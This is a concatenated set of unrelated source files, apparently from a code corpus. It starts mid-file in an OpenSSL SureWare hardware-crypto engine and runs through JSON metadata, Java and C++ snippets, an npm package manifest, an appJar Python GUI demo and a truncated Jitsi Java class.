SUREWAREerr(SUREWARE_F_SUREWAREHK_FINISH,ENGINE_R_NOT_LOADED);
to_return = 0;
goto err;
}
p_surewarehk_Finish();
if(!DSO_free(surewarehk_dso))
{
SUREWAREerr(SUREWARE_F_SUREWAREHK_FINISH,ENGINE_R_DSO_FAILURE);
to_return = 0;
goto err;
}
err:
if (logstream)
BIO_free(logstream);
surewarehk_dso = NULL;
p_surewarehk_Init = NULL;
p_surewarehk_Finish = NULL;
p_surewarehk_Rand_Bytes = NULL;
p_surewarehk_Rand_Seed = NULL;
p_surewarehk_Load_Privkey = NULL;
p_surewarehk_Load_Rsa_Pubkey = NULL;
p_surewarehk_Free = NULL;
p_surewarehk_Rsa_Priv_Dec = NULL;
p_surewarehk_Rsa_Sign = NULL;
p_surewarehk_Dsa_Sign = NULL;
p_surewarehk_Info_Pubkey = NULL;
p_surewarehk_Load_Dsa_Pubkey = NULL;
p_surewarehk_Mod_Exp = NULL;
return to_return;
}
static void surewarehk_error_handling(char *const msg,int func,int ret)
{
switch (ret)
{
case SUREWAREHOOK_ERROR_UNIT_FAILURE:
ENGINEerr(func,SUREWARE_R_UNIT_FAILURE);
break;
case SUREWAREHOOK_ERROR_FALLBACK:
ENGINEerr(func,SUREWARE_R_REQUEST_FALLBACK);
break;
case SUREWAREHOOK_ERROR_DATA_SIZE:
ENGINEerr(func,SUREWARE_R_SIZE_TOO_LARGE_OR_TOO_SMALL);
break;
case SUREWAREHOOK_ERROR_INVALID_PAD:
ENGINEerr(func,SUREWARE_R_PADDING_CHECK_FAILED);
break;
default:
ENGINEerr(func,SUREWARE_R_REQUEST_FAILED);
break;
case 1:/*nothing*/
msg[0]='\0';
}
if (*msg)
{
ERR_add_error_data(1,msg);
if (logstream)
{
CRYPTO_w_lock(CRYPTO_LOCK_BIO);
BIO_write(logstream, msg, TINYCLR_SSL_STRLEN(msg));
CRYPTO_w_unlock(CRYPTO_LOCK_BIO);
}
}
}
static int surewarehk_rand_bytes(unsigned char *buf, int num)
{
int ret=0;
char msg[64]="ENGINE_rand_bytes";
if(!p_surewarehk_Rand_Bytes)
{
SUREWAREerr(SUREWARE_F_SUREWAREHK_RAND_BYTES,ENGINE_R_NOT_INITIALISED);
}
else
{
ret = p_surewarehk_Rand_Bytes(msg,buf, num);
surewarehk_error_handling(msg,SUREWARE_F_SUREWAREHK_RAND_BYTES,ret);
}
return ret==1 ? 1 : 0;
}
static void surewarehk_rand_seed(const void *buf, int num)
{
int ret=0;
char msg[64]="ENGINE_rand_seed";
if(!p_surewarehk_Rand_Seed)
{
SUREWAREerr(SUREWARE_F_SUREWAREHK_RAND_SEED,ENGINE_R_NOT_INITIALISED);
}
else
{
ret = p_surewarehk_Rand_Seed(msg,buf, num);
surewarehk_error_handling(msg,SUREWARE_F_SUREWAREHK_RAND_SEED,ret);
}
}
static void surewarehk_rand_add(const void *buf, int num, double entropy)
{
surewarehk_rand_seed(buf,num);
}
static EVP_PKEY* sureware_load_public(ENGINE *e,const char *key_id,char *hptr,unsigned long el,char keytype)
{
EVP_PKEY *res = NULL;
#ifndef OPENSSL_NO_RSA
RSA *rsatmp = NULL;
#endif
#ifndef OPENSSL_NO_DSA
DSA *dsatmp=NULL;
#endif
char msg[64]="sureware_load_public";
int ret=0;
if(!p_surewarehk_Load_Rsa_Pubkey || !p_surewarehk_Load_Dsa_Pubkey)
{
SUREWAREerr(SUREWARE_F_SUREWARE_LOAD_PUBLIC,ENGINE_R_NOT_INITIALISED);
goto err;
}
switch (keytype)
{
#ifndef OPENSSL_NO_RSA
case 1: /*RSA*/
/* set private external reference */
rsatmp = RSA_new_method(e);
RSA_set_ex_data(rsatmp,rsaHndidx,hptr);
rsatmp->flags |= RSA_FLAG_EXT_PKEY;
/* set public big nums*/
rsatmp->e = BN_new();
rsatmp->n = BN_new();
bn_expand2(rsatmp->e, el/sizeof(BN_ULONG));
bn_expand2(rsatmp->n, el/sizeof(BN_ULONG));
if (!rsatmp->e || rsatmp->e->dmax!=(int)(el/sizeof(BN_ULONG))||
!rsatmp->n || rsatmp->n->dmax!=(int)(el/sizeof(BN_ULONG)))
goto err;
ret=p_surewarehk_Load_Rsa_Pubkey(msg,key_id,el,
(unsigned long *)rsatmp->n->d,
(unsigned long *)rsatmp->e->d);
surewarehk_error_handling(msg,SUREWARE_F_SUREWARE_LOAD_PUBLIC,ret);
if (ret!=1)
{
SUREWAREerr(SUREWARE_F_SUREWARE_LOAD_PUBLIC,ENGINE_R_FAILED_LOADING_PUBLIC_KEY);
goto err;
}
/* normalise pub e and pub n */
rsatmp->e->top=el/sizeof(BN_ULONG);
bn_fix_top(rsatmp->e);
rsatmp->n->top=el/sizeof(BN_ULONG);
bn_fix_top(rsatmp->n);
/* create an EVP object: engine + rsa key */
res = EVP_PKEY_new();
EVP_PKEY_assign_RSA(res, rsatmp);
break;
#endif
#ifndef OPENSSL_NO_DSA
case 2:/*DSA*/
/* set private/public external reference */
dsatmp = DSA_new_method(e);
DSA_set_ex_data(dsatmp,dsaHndidx,hptr);
/*dsatmp->flags |= DSA_FLAG_EXT_PKEY;*/
/* set public key*/
dsatmp->pub_key = BN_new();
dsatmp->p = BN_new();
dsatmp->q = BN_new();
dsatmp->g = BN_new();
bn_expand2(dsatmp->pub_key, el/sizeof(BN_ULONG));
bn_expand2(dsatmp->p, el/sizeof(BN_ULONG));
bn_expand2(dsatmp->q, 20/sizeof(BN_ULONG));
bn_expand2(dsatmp->g, el/sizeof(BN_ULONG));
if (!dsatmp->pub_key || dsatmp->pub_key->dmax!=(int)(el/sizeof(BN_ULONG))||
!dsatmp->p || dsatmp->p->dmax!=(int)(el/sizeof(BN_ULONG)) ||
!dsatmp->q || dsatmp->q->dmax!=20/sizeof(BN_ULONG) ||
!dsatmp->g || dsatmp->g->dmax!=(int)(el/sizeof(BN_ULONG)))
goto err;
ret=p_surewarehk_Load_Dsa_Pubkey(msg,key_id,el,
(unsigned long *)dsatmp->pub_key->d,
(unsigned long *)dsatmp->p->d,
(unsigned long *)dsatmp->q->d,
(unsigned long *)dsatmp->g->d);
surewarehk_error_handling(msg,SUREWARE_F_SUREWARE_LOAD_PUBLIC,ret);
if (ret!=1)
{
SUREWAREerr(SUREWARE_F_SUREWARE_LOAD_PUBLIC,ENGINE_R_FAILED_LOADING_PUBLIC_KEY);
goto err;
}
/* set parameters */
/* normalise pubkey and parameters in case of */
dsatmp->pub_key->top=el/sizeof(BN_ULONG);
bn_fix_top(dsatmp->pub_key);
dsatmp->p->top=el/sizeof(BN_ULONG);
bn_fix_top(dsatmp->p);
dsatmp->q->top=20/sizeof(BN_ULONG);
bn_fix_top(dsatmp->q);
dsatmp->g->top=el/sizeof(BN_ULONG);
bn_fix_top(dsatmp->g);
/* create an EVP object: engine + rsa key */
res = EVP_PKEY_new();
EVP_PKEY_assign_DSA(res, dsatmp);
break;
#endif
default:
SUREWAREerr(SUREWARE_F_SUREWARE_LOAD_PUBLIC,ENGINE_R_FAILED_LOADING_PRIVATE_KEY);
goto err;
}
return res;
err:
#ifndef OPENSSL_NO_RSA
if (rsatmp)
RSA_free(rsatmp);
#endif
#ifndef OPENSSL_NO_DSA
if (dsatmp)
DSA_free(dsatmp);
#endif
return NULL;
}
static EVP_PKEY *surewarehk_load_privkey(ENGINE *e, const char *key_id,
UI_METHOD *ui_method, void *callback_data)
{
EVP_PKEY *res = NULL;
int ret=0;
unsigned long el=0;
char *hptr=NULL;
char keytype=0;
char msg[64]="ENGINE_load_privkey";
if(!p_surewarehk_Load_Privkey)
{
SUREWAREerr(SUREWARE_F_SUREWAREHK_LOAD_PRIVKEY,ENGINE_R_NOT_INITIALISED);
}
else
{
ret=p_surewarehk_Load_Privkey(msg,key_id,&hptr,&el,&keytype);
if (ret!=1)
{
SUREWAREerr(SUREWARE_F_SUREWAREHK_LOAD_PRIVKEY,ENGINE_R_FAILED_LOADING_PRIVATE_KEY);
ERR_add_error_data(1,msg);
}
else
res=sureware_load_public(e,key_id,hptr,el,keytype);
}
return res;
}
static EVP_PKEY *surewarehk_load_pubkey(ENGINE *e, const char *key_id,
UI_METHOD *ui_method, void *callback_data)
{
EVP_PKEY *res = NULL;
int ret=0;
unsigned long el=0;
char *hptr=NULL;
char keytype=0;
char msg[64]="ENGINE_load_pubkey";
if(!p_surewarehk_Info_Pubkey)
{
SUREWAREerr(SUREWARE_F_SUREWAREHK_LOAD_PUBKEY,ENGINE_R_NOT_INITIALISED);
}
else
{
/* call once to identify if DSA or RSA */
ret=p_surewarehk_Info_Pubkey(msg,key_id,&el,&keytype);
if (ret!=1)
{
SUREWAREerr(SUREWARE_F_SUREWAREHK_LOAD_PUBKEY,ENGINE_R_FAILED_LOADING_PUBLIC_KEY);
ERR_add_error_data(1,msg);
}
else
res=sureware_load_public(e,key_id,hptr,el,keytype);
}
return res;
}
/* This cleans up an RSA/DSA KM key(do not destroy the key into the hardware)
, called when ex_data is freed */
static void surewarehk_ex_free(void *obj, void *item, CRYPTO_EX_DATA *ad,
int idx,long argl, void *argp)
{
if(!p_surewarehk_Free)
{
SUREWAREerr(SUREWARE_F_SUREWAREHK_EX_FREE,ENGINE_R_NOT_INITIALISED);
}
else
p_surewarehk_Free((char *)item,0);
}
#if 0
/* not currently used (bug?) */
/* This cleans up an DH KM key (destroys the key into hardware),
called when ex_data is freed */
static void surewarehk_dh_ex_free(void *obj, void *item, CRYPTO_EX_DATA *ad,
int idx,long argl, void *argp)
{
if(!p_surewarehk_Free)
{
SUREWAREerr(SUREWARE_F_SUREWAREHK_DH_EX_FREE,ENGINE_R_NOT_INITIALISED);
}
else
p_surewarehk_Free((char *)item,1);
}
#endif
/*
* return number of decrypted bytes
*/
#ifndef OPENSSL_NO_RSA
static int surewarehk_rsa_priv_dec(int flen,const unsigned char *from,unsigned char *to,
RSA *rsa,int padding)
{
int ret=0,tlen;
char *buf=NULL,*hptr=NULL;
char msg[64]="ENGINE_rsa_priv_dec";
if (!p_surewarehk_Rsa_Priv_Dec)
{
SUREWAREerr(SUREWARE_F_SUREWAREHK_RSA_PRIV_DEC,ENGINE_R_NOT_INITIALISED);
}
/* extract ref to private key */
else if (!(hptr=(char*)RSA_get_ex_data(rsa, rsaHndidx)))
{
SUREWAREerr(SUREWARE_F_SUREWAREHK_RSA_PRIV_DEC,SUREWARE_R_MISSING_KEY_COMPONENTS);
goto err;
}
/* analyse what padding we can do into the hardware */
if (padding==RSA_PKCS1_PADDING)
{
/* do it one shot */
ret=p_surewarehk_Rsa_Priv_Dec(msg,flen,(unsigned char *)from,&tlen,to,hptr,SUREWARE_PKCS1_PAD);
surewarehk_error_handling(msg,SUREWARE_F_SUREWAREHK_RSA_PRIV_DEC,ret);
if (ret!=1)
goto err;
ret=tlen;
}
else /* do with no padding into hardware */
{
ret=p_surewarehk_Rsa_Priv_Dec(msg,flen,(unsigned char *)from,&tlen,to,hptr,SUREWARE_NO_PAD);
surewarehk_error_handling(msg,SUREWARE_F_SUREWAREHK_RSA_PRIV_DEC,ret);
if (ret!=1)
goto err;
/* intermediate buffer for padding */
if ((buf=(char*)OPENSSL_malloc(tlen)) == NULL)
{
SUREWAREerr(SUREWARE_F_SUREWAREHK_RSA_PRIV_DEC,ERR_R_MALLOC_FAILURE);
goto err;
}
TINYCLR_SSL_MEMCPY(buf,to,tlen);/* transfert to into buf */
switch (padding) /* check padding in software */
{
#ifndef OPENSSL_NO_SHA
case RSA_PKCS1_OAEP_PADDING:
ret=RSA_padding_check_PKCS1_OAEP(to,tlen,(unsigned char *)buf,tlen,tlen,NULL,0);
break;
#endif
case RSA_SSLV23_PADDING:
ret=RSA_padding_check_SSLv23(to,tlen,(unsigned char *)buf,flen,tlen);
break;
case RSA_NO_PADDING:
ret=RSA_padding_check_none(to,tlen,(unsigned char *)buf,flen,tlen);
break;
default:
SUREWAREerr(SUREWARE_F_SUREWAREHK_RSA_PRIV_DEC,SUREWARE_R_UNKNOWN_PADDING_TYPE);
goto err;
}
if (ret < 0)
SUREWAREerr(SUREWARE_F_SUREWAREHK_RSA_PRIV_DEC,SUREWARE_R_PADDING_CHECK_FAILED);
}
err:
if (buf)
{
OPENSSL_cleanse(buf,tlen);
OPENSSL_free(buf);
}
return ret;
}
/*
* Does what OpenSSL rsa_priv_enc does.
*/
static int surewarehk_rsa_sign(int flen,const unsigned char *from,unsigned char *to,
RSA *rsa,int padding)
{
int ret=0,tlen;
char *hptr=NULL;
char msg[64]="ENGINE_rsa_sign";
if (!p_surewarehk_Rsa_Sign)
{
SUREWAREerr(SUREWARE_F_SUREWAREHK_RSA_SIGN,ENGINE_R_NOT_INITIALISED);
}
/* extract ref to private key */
else if (!(hptr=(char*)RSA_get_ex_data(rsa, rsaHndidx)))
{
SUREWAREerr(SUREWARE_F_SUREWAREHK_RSA_SIGN,SUREWARE_R_MISSING_KEY_COMPONENTS);
}
else
{
switch (padding)
{
case RSA_PKCS1_PADDING: /* do it in one shot */
ret=p_surewarehk_Rsa_Sign(msg,flen,(unsigned char *)from,&tlen,to,hptr,SUREWARE_PKCS1_PAD);
surewarehk_error_handling(msg,SUREWARE_F_SUREWAREHK_RSA_SIGN,ret);
break;
case RSA_NO_PADDING:
default:
SUREWAREerr(SUREWARE_F_SUREWAREHK_RSA_SIGN,SUREWARE_R_UNKNOWN_PADDING_TYPE);
}
}
return ret==1 ? tlen : ret;
}
#endif
#ifndef OPENSSL_NO_DSA
/* DSA sign and verify */
static DSA_SIG * surewarehk_dsa_do_sign(const unsigned char *from, int flen, DSA *dsa)
{
int ret=0;
char *hptr=NULL;
DSA_SIG *psign=NULL;
char msg[64]="ENGINE_dsa_do_sign";
if (!p_surewarehk_Dsa_Sign)
{
SUREWAREerr(SUREWARE_F_SUREWAREHK_DSA_DO_SIGN,ENGINE_R_NOT_INITIALISED);
goto err;
}
/* extract ref to private key */
else if (!(hptr=(char*)DSA_get_ex_data(dsa, dsaHndidx)))
{
SUREWAREerr(SUREWARE_F_SUREWAREHK_DSA_DO_SIGN,SUREWARE_R_MISSING_KEY_COMPONENTS);
goto err;
}
else
{
if((psign = DSA_SIG_new()) == NULL)
{
SUREWAREerr(SUREWARE_F_SUREWAREHK_DSA_DO_SIGN,ERR_R_MALLOC_FAILURE);
goto err;
}
psign->r=BN_new();
psign->s=BN_new();
bn_expand2(psign->r, 20/sizeof(BN_ULONG));
bn_expand2(psign->s, 20/sizeof(BN_ULONG));
if (!psign->r || psign->r->dmax!=20/sizeof(BN_ULONG) ||
!psign->s || psign->s->dmax!=20/sizeof(BN_ULONG))
goto err;
ret=p_surewarehk_Dsa_Sign(msg,flen,from,
(unsigned long *)psign->r->d,
(unsigned long *)psign->s->d,
hptr);
surewarehk_error_handling(msg,SUREWARE_F_SUREWAREHK_DSA_DO_SIGN,ret);
}
psign->r->top=20/sizeof(BN_ULONG);
bn_fix_top(psign->r);
psign->s->top=20/sizeof(BN_ULONG);
bn_fix_top(psign->s);
err:
if (psign)
{
DSA_SIG_free(psign);
psign=NULL;
}
return psign;
}
#endif
static int surewarehk_modexp(BIGNUM *r, const BIGNUM *a, const BIGNUM *p,
const BIGNUM *m, BN_CTX *ctx)
{
int ret=0;
char msg[64]="ENGINE_modexp";
if (!p_surewarehk_Mod_Exp)
{
SUREWAREerr(SUREWARE_F_SUREWAREHK_MODEXP,ENGINE_R_NOT_INITIALISED);
}
else
{
bn_expand2(r,m->top);
if (r && r->dmax==m->top)
{
/* do it*/
ret=p_surewarehk_Mod_Exp(msg,
m->top*sizeof(BN_ULONG),
(unsigned long *)m->d,
p->top*sizeof(BN_ULONG),
(unsigned long *)p->d,
a->top*sizeof(BN_ULONG),
(unsigned long *)a->d,
(unsigned long *)r->d);
surewarehk_error_handling(msg,SUREWARE_F_SUREWAREHK_MODEXP,ret);
if (ret==1)
{
/* normalise result */
r->top=m->top;
bn_fix_top(r);
}
}
}
return ret;
}
#endif /* !OPENSSL_NO_HW_SureWare */
#endif /* !OPENSSL_NO_HW */
| 15,372
|
435
|
<reponame>amaajemyfren/data
{
"description": "You can find more about this talk on `djangocon.eu <https://2016.djangocon.eu/speakers/10>`_. This video is hosted by `opbeat.com <http://opbeat.com/community/posts/using-django-with-service-workers-by-adrian-holovaty/>`_.",
"language": "eng",
"recorded": "2016-04-01",
"speakers": [
"<NAME>"
],
"tags": [
"django"
],
"thumbnail_url": "https://i.vimeocdn.com/video/702189586.jpg",
"title": "Using Django with service workers",
"videos": [
{
"type": "vimeo",
"url": "https://vimeo.com/271015891"
}
]
}
| 249
|
877
|
import org.checkerframework.common.value.qual.*;
import org.checkerframework.dataflow.qual.Pure;
public class StaticallyExecutableWarnings {
@StaticallyExecutable
// :: warning: (statically.executable.not.pure)
static int addNotPure(int a, int b) {
return a + b;
}
@StaticallyExecutable
@Pure
static int add(Integer a, Integer b) {
return a + b;
}
@StaticallyExecutable
@Pure
// :: error: (statically.executable.nonconstant.parameter.type)
int receiverCannotBeConstant(int a, int b) {
return a + b;
}
@StaticallyExecutable
@Pure
// :: error: (statically.executable.nonconstant.parameter.type)
int explicitReceiverCannotBeConstant(StaticallyExecutableWarnings this, int a, int b) {
return a + b;
}
@StaticallyExecutable
@Pure
// :: error: (statically.executable.nonconstant.return.type)
static StaticallyExecutableWarnings returnTypeCannotBeConstant(int a, int b) {
return new StaticallyExecutableWarnings();
}
@StaticallyExecutable
@Pure
// :: error: (statically.executable.nonconstant.parameter.type)
static int parameterCannotBeConstant(int a, int b, Object o) {
return a + b;
}
}
| 406
|
310
|
<reponame>dreeves/usesthis<gh_stars>100-1000
{
"name": "Cosmo",
"description": "A headlamp.",
"url": "http://blackdiamondequipment.com/en/headlamps-and-lanterns/cosmo-headlamp-BD620622GRSSALL1.html"
}
| 90
|
703
|
<gh_stars>100-1000
inline ezGALShaderCreationDescription::ezGALShaderCreationDescription()
: ezHashableStruct()
{
}
inline ezGALShaderCreationDescription::~ezGALShaderCreationDescription()
{
for (ezUInt32 i = 0; i < ezGALShaderStage::ENUM_COUNT; ++i)
{
ezGALShaderByteCode* pByteCode = m_ByteCodes[i];
m_ByteCodes[i] = nullptr;
if (pByteCode != nullptr && pByteCode->GetRefCount() == 0)
{
EZ_DEFAULT_DELETE(pByteCode);
}
}
}
inline bool ezGALShaderCreationDescription::HasByteCodeForStage(ezGALShaderStage::Enum Stage) const
{
return m_ByteCodes[Stage] != nullptr && m_ByteCodes[Stage]->IsValid();
}
inline void ezGALTextureCreationDescription::SetAsRenderTarget(
ezUInt32 uiWidth, ezUInt32 uiHeight, ezGALResourceFormat::Enum format, ezGALMSAASampleCount::Enum sampleCount /*= ezGALMSAASampleCount::None*/)
{
m_uiWidth = uiWidth;
m_uiHeight = uiHeight;
m_uiDepth = 1;
m_uiMipLevelCount = 1;
m_uiArraySize = 1;
m_SampleCount = sampleCount;
m_Format = format;
m_Type = ezGALTextureType::Texture2D;
m_bAllowShaderResourceView = true;
m_bAllowUAV = false;
m_bCreateRenderTarget = true;
m_bAllowDynamicMipGeneration = false;
m_ResourceAccess.m_bReadBack = false;
m_ResourceAccess.m_bImmutable = true;
m_pExisitingNativeObject = nullptr;
}
EZ_FORCE_INLINE ezGALVertexAttribute::ezGALVertexAttribute(
ezGALVertexAttributeSemantic::Enum eSemantic, ezGALResourceFormat::Enum eFormat, ezUInt16 uiOffset, ezUInt8 uiVertexBufferSlot, bool bInstanceData)
: m_eSemantic(eSemantic)
, m_eFormat(eFormat)
, m_uiOffset(uiOffset)
, m_uiVertexBufferSlot(uiVertexBufferSlot)
, m_bInstanceData(bInstanceData)
{
}
| 679
|
412
|
<gh_stars>100-1000
class Generic<T>
{
public T t;
public Generic<Integer> g;
public static <T> Generic<T> makeGeneric(T value)
{
Generic<T> newST = new Generic<T>();
newST.t = value;
return newST;
}
}
| 93
|
310
|
{
"name": "react-atv-img",
"version": "0.1.1",
"description": "A port of @drewwilson’s atvImg (Apple TV 3D parallax effect) library in React",
"main": "lib/index.js",
"scripts": {
"clean": "rimraf lib dist",
"build": "NODE_ENV=production babel src --out-dir lib",
"lint": "eslint src",
"test": "NODE_ENV=test mocha",
"test:watch": "NODE_ENV=test mocha --watch",
"prepublish": "npm run lint && npm run test && npm run clean && npm run build",
"example": "NODE_ENV=development node devServer.js",
"build:static": "NODE_ENV=production webpack && cp ./example/index.html ./dist/index.html"
},
"repository": {
"type": "git",
"url": "git+https://github.com/keyanzhang/react-atv-img.git"
},
"keywords": [
"react",
"react-component",
"atv",
"Apple TV",
"parallax",
"atvImg"
],
"author": "<NAME> <<EMAIL>> (http://keya.nz)",
"license": "MIT",
"bugs": {
"url": "https://github.com/keyanzhang/react-atv-img/issues"
},
"homepage": "https://github.com/keyanzhang/react-atv-img#readme",
"peerDependencies": {
"react": ">=0.14"
},
"devDependencies": {
"babel": "~5.8.29",
"babel-core": "~5.8.33",
"babel-eslint": "~4.1.3",
"babel-loader": "~5.3.3",
"babel-plugin-react-transform": "~1.1.1",
"eslint": "~1.8.0",
"eslint-config-airbnb": "~0.1.0",
"eslint-plugin-react": "~3.6.3",
"expect": "^1.12.2",
"express": "~4.13.3",
"mocha": "^2.3.3",
"react": "^0.14.1",
"react-dom": "^0.14.1",
"react-transform-catch-errors": "~1.0.0",
"react-transform-hmr": "~1.0.0",
"redbox-react": "~1.1.1",
"rimraf": "~2.4.3",
"webpack": "~1.12.2",
"webpack-dev-middleware": "~1.2.0",
"webpack-hot-middleware": "~2.4.1"
}
}
| 872
|
45,293
|
<gh_stars>1000+
public class Annotated {
public void foo(@MyNonnull String x) {
}
public void bar(@MyMigrationNonnull String x) {
}
@MyNullable
public String nullable() {
return null;
}
}
| 96
|
14,668
|
// Copyright 2020 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "ui/gfx/x/xproto_internal.h"
#include <stdint.h>
#include <xcb/xcb.h>
#include <xcb/xcbext.h>
namespace x11 {
MallocedRefCountedMemory::MallocedRefCountedMemory(void* data)
: data_(reinterpret_cast<uint8_t*>(data)) {}
const uint8_t* MallocedRefCountedMemory::front() const {
return data_;
}
size_t MallocedRefCountedMemory::size() const {
// There's no easy way to tell how large malloc'ed data is.
NOTREACHED();
return 0;
}
MallocedRefCountedMemory::~MallocedRefCountedMemory() {
free(data_);
}
OffsetRefCountedMemory::OffsetRefCountedMemory(
scoped_refptr<base::RefCountedMemory> memory,
size_t offset,
size_t size)
: memory_(memory), offset_(offset), size_(size) {}
const uint8_t* OffsetRefCountedMemory::front() const {
return memory_->front() + offset_;
}
size_t OffsetRefCountedMemory::size() const {
return size_;
}
OffsetRefCountedMemory::~OffsetRefCountedMemory() = default;
UnretainedRefCountedMemory::UnretainedRefCountedMemory(const void* data)
: data_(reinterpret_cast<const uint8_t*>(data)) {}
const uint8_t* UnretainedRefCountedMemory::front() const {
return data_;
}
size_t UnretainedRefCountedMemory::size() const {
// There's no easy way to tell how large malloc'ed data is.
NOTREACHED();
return 0;
}
UnretainedRefCountedMemory::~UnretainedRefCountedMemory() = default;
} // namespace x11
| 550
|
666
|
import sys
sys.path.append("../../")
from appJar import gui
def press(btn):
print(
app.label("title"),
app.label("title2"),
app.entry("data"),
app.button("Clap"),
app.radio("happy"),
app.date("date"),
app.check("Clap"),
app.option("feelings"),
app.spin("feelings"),
app.listbox("feelings"),
app.scale("happiness"),
app.message("mess"),
app.text("mess2"),
app.meter("Cry"),
app.link("Cry"),
app.link("Shout"),
app.image("img"),
app.image("img2"),
app.properties("Toppings"),
)
app.label("title2", "not empty")
app.meter("Cry", app.scale("happiness"), text="fred")
app.meter("CryingMore", app.slider("happiness again"))
app.meter("CryingMorer", app.scale("happiness again"), text="alphabet")
app.meter("CryingMorerr", (app.slider("happiness again"),app.scale("happiness again")))
updateApp4()
def updateApp4(btn=None):
app.label("title", "aaa")
app.label("title2", "aaa")
app.meter("Cry", 50)
app.entry("data", "aaa")
# app.date("date")
app.button("Clap", updateApp4)
app.radio("happy", "Miserable")
app.check("Clap", True)
app.option("feelings", 1)
app.spin("feelings", 2)
app.listbox("feelings", 3)
app.scale("happiness", 50)
app.message("mess", "aaa")
app.text("mess2", "aaa")
app.meter("Cry", 50)
app.link("Cry", "http://www.oggle.com")
app.link("Shout", updateApp4)
# app.image("img")
# app.image("img2")
app.properties("Toppings", {"a":False, "b":True})
with gui("Simple Demo") as app:
with app.tabbedFrame("tp"):
with app.tab("part1"):
app.label("title", "Simple Props Demo", colspan=3, kind="flash")
app.label("title2", row=0, column=3)
app.setLabelBg("title", "green")
app.radio("happy", "Very Happy", row=1, column=0)
app.radio("happy", "Ambivalent", row=1, column=1)
app.radio("happy", "Miserable", row=1, column=2, selected=True)
app.message("mess", "Simple Sadness", row=2, rowspan=3)
app.setMessageBg("mess", "pink")
app.text("mess2", "Simple Happiness", row=2, column=2, rowspan=3, scroll=False)
app.setTextAreaBg("mess2", "pink")
app.image("img", "../images/balloons.gif", over="../images/balloons2.gif", row=2, column=3, rowspan=7)
app.image("img2", "OPEN", row=2, column=4, rowspan=3, kind="icon")
app.check("Clap", row=2, column=1)
app.check("Cheer", True, row=3, column=1)
app.check("Cry", row=4, column=1)
app.entry("data", colspan=3, kind="directory")
app.entry("data2", value="lots of data", colspan=3, focus=True, case="upper", limit=15)
app.entry("data3", colspan=3, default="france", kind="validation")
app.entry("data4", value=["a", "aa", "aba", "abc", "abd"], colspan=3, kind="auto", rows=4)
row=app.gr()
with app.tab("part2"):
app.button("Clap", press, icon="OPEN", row=row, column=0, anchor="n")
app.button("Cheer", press, row=row, column=1)
app.button("Cheer", "")
app.button("Cry", press, row=row, column=2)
app.date("date", 2002, toValue=2020, row=row, column=3, rowspan=4)
app.scale("happiness", colspan=3, increment=1, show=True, change=press)
row=app.gr()
app.option("feelings", ["happy", "bored", "angry"], column=0, row=row)
app.spin("feelings", ["happy", "bored", "angry"], column=1, row=row, item="angry")
app.listbox("feelings", ["happy", "bored", "angry"], column=2, row=row, rows=4, multi=True, group=True)
app.separator(colspan=3)
app.spin("vals", 4, endValue=10, colspan=3, pos=3)
app.separator(colspan=3, direction="horizontal")
row=app.gr()
app.meter("Cry", row=row, column=0, fill="orange")
with app.labelFrame("Links", row=row, column=1):
app.link("Cry", "http://www.google.com")
app.link("Shout", press)
app.separator(row=0, column=1, rowspan=2, direction="vertical")
app.slider("happiness again", 45, row=0, rowspan=2, direction="vertical", column=2, interval=25, change=press)
with app.tab("part3"):
app.grip(row=row, column=2)
toppings={"Cheese":False, "Tomato":False, "Bacon":False,
"Corn":False, "Mushroom":False}
app.properties("Toppings", toppings, row=row, column=2)
app.meter("CryingMore", 50, colspan=3, kind="other")
app.meter("CryingMorer", 50, colspan=3, kind="split")
app.meter("CryingMorerr", (50,70), colspan=3, kind="dual")
with app.tab("new"):
app.pie("p1", {"A":50, "B":30, "c":20})
app.separator(direction="vertical", pos=('p', 1), sticky="ns")
app.config(sticky="ew")
app.microbit("mb1", pos=('p', 2))
app.separator(direction='horizontal', colspan=3)
app.canvas("c2")
app.addCanvasCircle("c2", 10, 10, 30)
with app.tab("plot"):
app.plot('p1')
with app.tab("map"):
app.map("m1", "paris", zoom=3, terrain="Roadmap", size='300x300')
with app.tab('tree'):
app.tree("tree",
"""<people>
<person><name>Fred</name><age>45</age><gender>Male</gender></person>
<person><name>Tina</name><age>37</age><gender>Female</gender></person>
<person><name>CLive</name><age>28</age><gender>Male</gender></person>
<person><name>Betty</name><age>51</age><gender>Female</gender></person>
</people>""")
| 2,878
|
3,442
|
/*
* Jitsi, the OpenSource Java VoIP and Instant Messaging client.
*
* Copyright @ 2015 Atlassian Pty Ltd
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package net.java.sip.communicator.impl.gui.main;
import java.util.*;
/**
* The <tt>UINotificationGroup</tt> class represents a group of notifications.
*
* @author <NAME>
*/
public class UINotificationGroup
{
/**
* A list of all unread notifications.
*/
private Collection<UINotification> unreadNotifications
= new ArrayList<UINotification>();
/**
* The name of the group to which this notification belongs.
*/
private final String groupName;
/**
* The display name of the group to which this notification belongs.
*/
private final String groupDisplayName;
/**
*
* @param groupName the name of the group to which this notification belongs
* @param groupDisplayName the display name of the group to which this
*/
public UINotificationGroup(String groupName, String groupDisplayName)
{
this.groupName = groupName;
this.groupDisplayName = groupDisplayName;
}
/**
* Returns the name of the group, to which this notification belongs.
*
* @return the name of the group, to which this notification belongs
*/
public String getGroupName()
{
return groupName;
}
/**
* Returns the display name of the group, to which this notification
* belongs.
*
* @return the display name of the group, to which this notification
* belongs
*/
public String getGroupDisplayName()
{
return groupDisplayName;
}
/**
* Adds the given notification to the list of unread notifications and
* notifies interested listeners.
*
* @param notification the <tt>UINotification</tt> to add
*/
public void addNotification(UINotification notification)
{
synchronized (unreadNotifications)
{
// make sure we override it if we have the same
unreadNotifications.remove(notification);
unreadNotifications.add(notification);
}
}
/**
* Removes all unread notifications.
*/
public void removeAllNotifications()
{
synchronized (unreadNotifications)
{
List<UINotification> copy = new ArrayList<>(unreadNotifications);
unreadNotifications.clear();
for (UINotification n : copy)
{
UINotificationManager.fireClearedEvent(n);
}
}
}
/**
* Returns a list of all unread notifications.
*
* @return a list of all unread notifications
*/
public Iterator<UINotification> getUnreadNotifications()
{
return new ArrayList<UINotification>(unreadNotifications).iterator();
}
/**
* Returns the count of unread notifications for this group.
*
* @return the count of unread notifications for this group
*/
public int getUnreadNotificationsCount()
{
